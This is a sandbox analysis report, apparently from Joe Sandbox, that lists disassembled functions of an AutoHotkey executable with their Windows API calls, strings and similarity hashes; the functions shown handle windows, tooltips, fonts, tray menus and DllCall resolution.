APIs

GetSystemMetrics.USER32(00000007), ref: 0045C589
GetSystemMetrics.USER32(00000007), ref: 0045C597
GetSystemMetrics.USER32(00000004), ref: 0045C59F
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0045C5B0
IsWindow.USER32(00000000), ref: 0045C5EA
DestroyWindow.USER32(00000000,?,?,?,00000000), ref: 0045C5FA
CreateWindowExW.USER32(00000008,AutoHotkey2,?,88C00000,?,?,00000000,?,0002044A,00000000,00400000,00000000), ref: 0045C63A
GetClientRect.USER32(00000000,?), ref: 0045C647
CreateWindowExW.USER32(00000000,static,?,50000001,00000000,00000000,?,?,00000000,00000000,00400000,00000000), ref: 0045C688
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0045C6A4
_wcsncpy.LIBCMT ref: 0045C6C2
EnumFontFamiliesExW.GDI32(00000000,?,00481380,?,00000000,?,?,00000000), ref: 0045C6E9
GetStockObject.GDI32(00000011), ref: 0045C71B
SelectObject.GDI32(00000000,00000000), ref: 0045C723
GetTextFaceW.GDI32(00000000,00000040,?), ref: 0045C734
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0045C73D
DeleteDC.GDI32(00000000), ref: 0045C746
CreateFontW.GDI32(?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0045C784
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 0045C795
ShowWindow.USER32(00000000,00000004,?,?,?,00000000), ref: 0045C7A4

Strings

Segoe UI, xrefs: 0045C6B0
DISPLAY, xrefs: 0045C69C
static, xrefs: 0045C681
AutoHotkey2, xrefs: 0045C629

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$CreateSystem$Metrics$FontObject$CapsClientDeleteDestroyDeviceEnumFaceFamiliesInfoMessageParametersRectSelectSendShowStockText_wcsncpy
String ID: AutoHotkey2$DISPLAY$Segoe UI$static
API String ID: 2836835088-4085670783
Opcode ID: 431dd126622e5b417c8c728b7b198fdbccf32c373813646f6aef35dee31cb68b
Instruction ID: 76b2cf4883b07112d259e3fb83bb736c3c1e64ff025fd089b87f00de07ebcc0a
Opcode Fuzzy Hash: 431dd126622e5b417c8c728b7b198fdbccf32c373813646f6aef35dee31cb68b
Instruction Fuzzy Hash: 1F61B871654300BFE314DF64DC8AFAB7BE8EB89704F044529FA09E72D1D6B4A805CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041D230 Relevance: 42.1, APIs: 12, Strings: 12, Instructions: 101COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041D248
__wcsicoll.LIBCMT ref: 0041D260

Strings

Float, xrefs: 0041D25A
Lower, xrefs: 0041D32C
Alpha, xrefs: 0041D2FC
Time, xrefs: 0041D28A
Alnum, xrefs: 0041D2E4
Integer, xrefs: 0041D242
Number, xrefs: 0041D272
Space, xrefs: 0041D344
Upper, xrefs: 0041D314
Digit, xrefs: 0041D2B4
Xdigit, xrefs: 0041D2CC
Date, xrefs: 0041D2A2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Alnum$Alpha$Date$Digit$Float$Integer$Lower$Number$Space$Time$Upper$Xdigit
API String ID: 3832890014-3813714638
Opcode ID: a0d02113a8eb6ae61e9ef839cc1767f4e3974e9db0c3cfa1f2aa6923a9968183
Instruction ID: c9fe76e2a0921c31be59344f814932a5690db55d9624fbd926a3e453ee902e46
Opcode Fuzzy Hash: a0d02113a8eb6ae61e9ef839cc1767f4e3974e9db0c3cfa1f2aa6923a9968183
Instruction Fuzzy Hash: 412179A9E4161122DF25312E5E03BDF24885F61B4BF84447BFC14D1282F78EDA45D0BE

Uniqueness

Uniqueness Score: -1.00%

Function 004142F0 Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 128COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 00414300
__wcsicoll.LIBCMT ref: 00414316
__wcsicoll.LIBCMT ref: 0041432C

Part of subcall function 00499C29: __wcsicmp_l.LIBCMT ref: 00499CA9

__wcsicoll.LIBCMT ref: 00414342
__wcsicoll.LIBCMT ref: 00414358
__wcsicoll.LIBCMT ref: 0041436E
__wcsicoll.LIBCMT ref: 00414384
__wcsicoll.LIBCMT ref: 0041439C

Strings

MIDDLE, xrefs: 00414352
RIGHT, xrefs: 00414326
WheelUp, xrefs: 004143B9
WheelDown, xrefs: 004143E1
LEFT, xrefs: 004142FA
WheelLeft, xrefs: 00414405
WheelRight, xrefs: 00414429

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$__wcsicmp_l
String ID: LEFT$MIDDLE$RIGHT$WheelDown$WheelLeft$WheelRight$WheelUp
API String ID: 3172861507-1318937625
Opcode ID: 14026f6f51614b6e49c8c7e65718f2fe53052d8c8a1b5c921e7ae00cb6230ab8
Instruction ID: 403551d3aff604dd2b5aa9bc299c1c3f404ed81b416b63eb7d810ecb64373364
Opcode Fuzzy Hash: 14026f6f51614b6e49c8c7e65718f2fe53052d8c8a1b5c921e7ae00cb6230ab8
Instruction Fuzzy Hash: EF31C859A8161131EF25223A5E07BDF28C80FA1747F58443FB814E0282FA8EDA95C0BE

Uniqueness

Uniqueness Score: -1.00%

Function 0043D240 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 295windowCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0043D262

Part of subcall function 0049BF9D: wcstoxl.LIBCMT ref: 0049BFAD

IsWindow.USER32(004B0CF8), ref: 0043D2A5
DestroyWindow.USER32(004B0CF8), ref: 0043D2B0
GetCursorPos.USER32 ref: 0043D304
MonitorFromPoint.USER32(?,?,00000002), ref: 0043D37A
GetMonitorInfoW.USER32 ref: 0043D394
_memset.LIBCMT ref: 0043D3DC
IsWindow.USER32(004B0CF8), ref: 0043D40A
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 0043D447
SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 0043D467
SendMessageW.USER32(00000000,0000041F,00000000,?), ref: 0043D492
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0043D4B2
SendMessageW.USER32(00000000,00000412,00000000,?), ref: 0043D4D1
SendMessageW.USER32(00000000,00000439,00000000,?), ref: 0043D502
GetWindowRect.USER32(00000000,?), ref: 0043D51C
SendMessageW.USER32(00000000,00000412,00000000,?), ref: 0043D5B6
SendMessageW.USER32(00000000,00000411,00000001,?), ref: 0043D5C5

Strings

(, xrefs: 0043D389
Max window number is 20., xrefs: 0043D5E2
,, xrefs: 0043D3F1
, xrefs: 0043D3F9
tooltips_class32, xrefs: 0043D43B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$Window$Monitor$CreateCursorDestroyFromInfoPointRect__fassign_memsetwcstoxl
String ID: $($,$Max window number is 20.$tooltips_class32
API String ID: 3638321345-788377568
Opcode ID: 4a042d262a014254176af59e984552144e8c75a45db4e2f25bef435f8e1fc1ad
Instruction ID: b96c47525a809df8c5c91ead06732a3791875d36d43fc57e6cfc90c3f2399f4e
Opcode Fuzzy Hash: 4a042d262a014254176af59e984552144e8c75a45db4e2f25bef435f8e1fc1ad
Instruction Fuzzy Hash: 7AB1A2719083049FD320DF18DC84B6BBBF4EBC9704F10492EF58597291D7B89945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004512B0 Relevance: 38.7, APIs: 11, Strings: 11, Instructions: 244COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 00451311
__wcsicoll.LIBCMT ref: 0045136E
__wcsicoll.LIBCMT ref: 00451388
__wcsicoll.LIBCMT ref: 004513A2
__wcsicoll.LIBCMT ref: 004513BC
__wcsicoll.LIBCMT ref: 004513D6
__wcsicoll.LIBCMT ref: 004513F0
__wcsicoll.LIBCMT ref: 0045140A
__wcsicoll.LIBCMT ref: 00451424
__wcsicoll.LIBCMT ref: 0045143E
__wcsicoll.LIBCMT ref: 00451458

Strings

Float, xrefs: 00451404
Char, xrefs: 004513D0
Int64, xrefs: 004513EA
*pP, xrefs: 00451334
Ptr, xrefs: 0045139C
AStr, xrefs: 00451438
Int, xrefs: 00451368
Str, xrefs: 00451382
Double, xrefs: 0045141E
Short, xrefs: 004513B6
WStr, xrefs: 00451452

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$_wcsncpy
String ID: *pP$AStr$Char$Double$Float$Int$Int64$Ptr$Short$Str$WStr
API String ID: 1630244902-313837492
Opcode ID: aea77092f9eb4852a9c9db10f1374c58d9906d0a667496e43c52ff77a19b2d45
Instruction ID: 666fc01668367b2fffe87fc30646e9f91d854b6140f4c20060ad13d169a4cdaa
Opcode Fuzzy Hash: aea77092f9eb4852a9c9db10f1374c58d9906d0a667496e43c52ff77a19b2d45
Instruction Fuzzy Hash: FF7126A6A0030456CB24DE19AC817AF73D4AB80353F98843FED4586351F37ED94DC3AA

Uniqueness

Uniqueness Score: -1.00%

Function 00458660 Relevance: 37.2, APIs: 12, Strings: 9, Instructions: 439windowCOMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 004587FA
__wcsnicmp.LIBCMT ref: 00458844
__wcsnicmp.LIBCMT ref: 00458891
__wcsnicmp.LIBCMT ref: 00458923
__wcsnicmp.LIBCMT ref: 004588F0

Part of subcall function 004142C0: __fassign.LIBCMT ref: 004142D0

__wcsicoll.LIBCMT ref: 00458952
SendMessageW.USER32(00000001,00001004,00000000,00000000), ref: 004589B7

Strings

Check, xrefs: 0045888B
I, xrefs: 00458BEA
A, xrefs: 004586B9
M, xrefs: 004586EE
Select, xrefs: 004587F1
Col, xrefs: 004588EA
Focus, xrefs: 0045883E
Vis, xrefs: 0045894C
Icon, xrefs: 0045891D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp$MessageSend__fassign__wcsicoll
String ID: A$Check$Col$Focus$I$Icon$M$Select$Vis
API String ID: 1367502766-1624853574
Opcode ID: b96b09f58eb34c085970caaafc32afa155f1af2238dd4e71aca7723c594e8ce0
Instruction ID: 5d2ea2f7bc6f6a559de23167080873fcb627796e0d67738eed90ba4cd93cc34f
Opcode Fuzzy Hash: b96b09f58eb34c085970caaafc32afa155f1af2238dd4e71aca7723c594e8ce0
Instruction Fuzzy Hash: 16F1AFB0A043418FD7209F24C88576BBBE5AB85305F14492FFD85A7392DFB9D848CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0047A610 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 372COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0047A6CE
__wcsicoll.LIBCMT ref: 0047A6FD
__wcsicoll.LIBCMT ref: 0047A7D7
__wcsicoll.LIBCMT ref: 0047A868

Strings

Out of memory., xrefs: 0047A99E
IsOptional, xrefs: 0047A7D1
Name, xrefs: 0047A6C8
IsVariadic, xrefs: 0047A785
MaxParams, xrefs: 0047A726
IsByRef, xrefs: 0047A862
IsBuiltIn, xrefs: 0047A755
Call, xrefs: 0047A9B6
Bind, xrefs: 0047A952
MinParams, xrefs: 0047A6F7

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Bind$Call$IsBuiltIn$IsByRef$IsOptional$IsVariadic$MaxParams$MinParams$Name$Out of memory.
API String ID: 3832890014-142481380
Opcode ID: 3e2eff208633752e0993a14e00a3c26cf569ffffbbed9707dd1ab10e4a7dcefe
Instruction ID: 6382360fe29255c10e92afe5e026822ddcac352e7cdc73af29a7e5d6ba818f95
Opcode Fuzzy Hash: 3e2eff208633752e0993a14e00a3c26cf569ffffbbed9707dd1ab10e4a7dcefe
Instruction Fuzzy Hash: C0C1A2B17002049BC714DE19D881A9AB7A4EB94325F14C57FED0DCB342E63AEC65C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 00485450 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 345COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00485514
__wcstoui64.LIBCMT ref: 00485593
IsWindow.USER32(00000000), ref: 004855AD
__wcsnicmp.LIBCMT ref: 004855D8
__wcstoi64.LIBCMT ref: 004855FA

Part of subcall function 0049A060: wcstoxq.LIBCMT ref: 0049A081

__wcsnicmp.LIBCMT ref: 00485631
_wcsncpy.LIBCMT ref: 00485664
__wcsicoll.LIBCMT ref: 004856A9
_wcsncpy.LIBCMT ref: 004857F2
_wcsncpy.LIBCMT ref: 00485858

Strings

ahk_, xrefs: 004854C3, 00485741, 00485766, 00485827
exe, xrefs: 004856D3
group, xrefs: 0048562B
pid, xrefs: 004855D2
class, xrefs: 004856F5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp_wcsncpy$Window__wcsicoll__wcstoi64__wcstoui64wcstoxq
String ID: ahk_$class$exe$group$pid
API String ID: 3421470534-2955265324
Opcode ID: bd9c6dd4f57b73021c6f485e735bb645d38489f5f695bd1ee35da8283544e67d
Instruction ID: 6a84890d9bf1b485dcddb57b1a7688d1c1bd548c526f45ea2f65b7e1e99a087c
Opcode Fuzzy Hash: bd9c6dd4f57b73021c6f485e735bb645d38489f5f695bd1ee35da8283544e67d
Instruction Fuzzy Hash: 7EC1DF71904B019AD734BA2588817BFB6E5AF94304F144C2FE88A97390F77CE984C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004680B2 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 215windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00000000,00000060,00000060), ref: 00468112
MulDiv.KERNEL32(00000000,00000060,00000060), ref: 0046813A
MulDiv.KERNEL32(00000000,00000060,00000060), ref: 00468160
MulDiv.KERNEL32(00000000,00000060,00000060), ref: 00468188
GetWindowRect.USER32(?,?), ref: 004681A9
GetParent.USER32(?), ref: 004681C8
ScreenToClient.USER32(00000000), ref: 004681CF
MoveWindow.USER32(80000000,?,?,?,80000000,00000001,?,?), ref: 0046822C
SendMessageW.USER32(?,00000421,00000001,00000000), ref: 00468254
SendMessageW.USER32(00000000,00000421,00000000,00000000), ref: 00468265
SendMessageW.USER32(?,00000420,00000001,00000000), ref: 0046827B
InvalidateRect.USER32(00000000,00000000,00000001,?,00000420,00000001,00000000,?,00000421,00000001,00000000,?,?), ref: 00468282
SendMessageW.USER32(?,00000420,00000000,?), ref: 0046829C
InvalidateRect.USER32(?,00000000,00000001,?,00000420,00000000,?,?,00000421,00000001,00000000,?,?), ref: 004682A3
GetPropW.USER32(?,ahk_autosize), ref: 004682D4
SetPropW.USER32(?,ahk_autosize,00000000), ref: 004682EE
RemovePropW.USER32(00000000,ahk_autosize), ref: 004682FF

Strings

ahk_autosize, xrefs: 004682C9, 004682E8, 004682F9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$PropRect$InvalidateWindow$ClientMoveParentRemoveScreen
String ID: ahk_autosize
API String ID: 1794348199-1503521729
Opcode ID: 5389d1d1724be63604d0ed7213f48b5f066d88b026f125e65738dd9ee2732068
Instruction ID: fffd4fefba2f0b0c9c692b87d13e20735f39b7d5aae2b17e218efbc3b7e34057
Opcode Fuzzy Hash: 5389d1d1724be63604d0ed7213f48b5f066d88b026f125e65738dd9ee2732068
Instruction Fuzzy Hash: 74719DB5A44300ABDB108F24DC85F6B7BF5EB89700F144A2EF54697290EB79E841CB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00451590 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 181libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32,?,?,?,000000EC), ref: 004515B7
GetModuleHandleW.KERNEL32(kernel32,?,000000EC), ref: 004515C3
GetModuleHandleW.KERNEL32(comctl32,?,000000EC), ref: 004515CF
GetModuleHandleW.KERNEL32(gdi32,?,000000EC), ref: 004515DB
_wcsncpy.LIBCMT ref: 004515F7
_wcsrchr.LIBCMT ref: 00451613
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,?,?,?,?,000000EC), ref: 00451640
GetProcAddress.KERNEL32(00000000,?), ref: 00451660
GetProcAddress.KERNEL32(?,?), ref: 004516AF
WideCharToMultiByte.KERNEL32(00000000,00000000,-00000002,000000FF,?,00000104,00000000,00000000,?,?,?,?,000000EC), ref: 004516DD
GetModuleHandleW.KERNEL32(?,?,?,?,?,000000EC), ref: 004516EB
LoadLibraryW.KERNEL32(?,?,?,?,?,000000EC), ref: 00451706
GetProcAddress.KERNEL32(00000000,?), ref: 0045173F
GetProcAddress.KERNEL32(00000000,?), ref: 00451768

Strings

gdi32, xrefs: 004515D1
comctl32, xrefs: 004515C5
user32, xrefs: 004515B2
kernel32, xrefs: 004515B9
DllCall, xrefs: 00451714, 004517B6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: HandleModule$AddressProc$ByteCharMultiWide$LibraryLoad_wcsncpy_wcsrchr
String ID: DllCall$comctl32$gdi32$kernel32$user32
API String ID: 1361463379-1793033601
Opcode ID: 3cf27ae7dfccc422dd56ddc5a21c4d2bc54ab338e4252f0410ca473f27aa339b
Instruction ID: 8926e76451c32b63e8524c9ca0c73068f0985b0ac3fbfa6a5b43536ab91cca47
Opcode Fuzzy Hash: 3cf27ae7dfccc422dd56ddc5a21c4d2bc54ab338e4252f0410ca473f27aa339b
Instruction Fuzzy Hash: 2B511871A003019BC720DB689CC5FABB3D5EF98711F45062BED0493291EB79D80987A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042C37A Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 114COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0042C380
__wcsicoll.LIBCMT ref: 0042C3A0

Strings

BindMethod, xrefs: 0042C3BA
Function name too long., xrefs: 0042C803
GetBase, xrefs: 0042C464
Clone, xrefs: 0042C39A
AddRef, xrefs: 0042C3E2
SetBase, xrefs: 0042C484
RawSet, xrefs: 0042C416
NewEnum, xrefs: 0042C37A
Release, xrefs: 0042C3FC
RawGet, xrefs: 0042C43D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: AddRef$BindMethod$Clone$Function name too long.$GetBase$NewEnum$RawGet$RawSet$Release$SetBase
API String ID: 3832890014-3709995375
Opcode ID: 8106145871bcfaaab1991d5a9623dcd70f22f4ce3b156929718eb69226e3f8bd
Instruction ID: c3da75a34d2beea26b0ff4f36d2d3e28976fffe8be90f0fb2006a2535e22f36b
Opcode Fuzzy Hash: 8106145871bcfaaab1991d5a9623dcd70f22f4ce3b156929718eb69226e3f8bd
Instruction Fuzzy Hash: 3D31F762A0431256C710E664ADC1BAF32C99F94709F944D3FED0897240F76DDE05C7AE

Uniqueness

Uniqueness Score: -1.00%

Function 00477210 Relevance: 33.3, APIs: 11, Strings: 8, Instructions: 89windowCOMMON

Download Yara Rule

APIs

AppendMenuW.USER32(00000000,00000000,0000FF14,&Open), ref: 0047723C
SetMenuDefaultItem.USER32(00000000,0000FF14,00000000,?,?,?,?,?,?,?,?,?,?,?,00477448), ref: 00477257
AppendMenuW.USER32(00000000,00000000,0000FF15,&Help), ref: 00477276
AppendMenuW.USER32(00000000,00000800,0000FF1C,00000000), ref: 00477288
AppendMenuW.USER32(00000000,00000000,0000FF16,&Window Spy), ref: 0047729A
AppendMenuW.USER32(00000000,00000000,0000FF17,&Reload This Script), ref: 004772AC
AppendMenuW.USER32(00000000,00000000,0000FF18,&Edit This Script), ref: 004772BE
AppendMenuW.USER32(00000000,00000800,0000FF1D,00000000), ref: 004772D0
AppendMenuW.USER32(00000000,00000000,0000FF19,&Suspend Hotkeys), ref: 004772E2
AppendMenuW.USER32(00000000,00000000,0000FF1A,&Pause Script), ref: 004772F4
AppendMenuW.USER32(00000000,00000000,0000FF1B,E&xit), ref: 00477306

Strings

&Suspend Hotkeys, xrefs: 004772D5
&Edit This Script, xrefs: 004772B1
&Window Spy, xrefs: 0047728D
&Pause Script, xrefs: 004772E7
E&xit, xrefs: 004772F9
&Open, xrefs: 0047722F
&Reload This Script, xrefs: 0047729F
&Help, xrefs: 00477269

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Menu$Append$DefaultItem
String ID: &Edit This Script$&Help$&Open$&Pause Script$&Reload This Script$&Suspend Hotkeys$&Window Spy$E&xit
API String ID: 1113060144-2163008055
Opcode ID: 81bbb8362711c3794b3411fe7fbd6b33fd784eeb40721f1b804b8e58442e051f
Instruction ID: 7c9fc8dc6d70a2b947e7a5a679c5a139396633a8d8e9188bddb434aa777533ed
Opcode Fuzzy Hash: 81bbb8362711c3794b3411fe7fbd6b33fd784eeb40721f1b804b8e58442e051f
Instruction Fuzzy Hash: A6214F71384701B7E630A6659C46F37B3E87F99B00F244A6EF2856A9D1D6F8F8009A58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E4F0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 169threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00002000,0040E820,00000000,00000000,004D860C), ref: 0040E54A
SetThreadPriority.KERNEL32(00000000,0000000F,?,00408D82,00000000,004089D8,An internal error has occurred in the debugger engine.Continue running the script without the debugger?,?,00000000,0040635D,?), ref: 0040E560
PostThreadMessageW.USER32(00000000,00000417,0040635D,00000000), ref: 0040E584
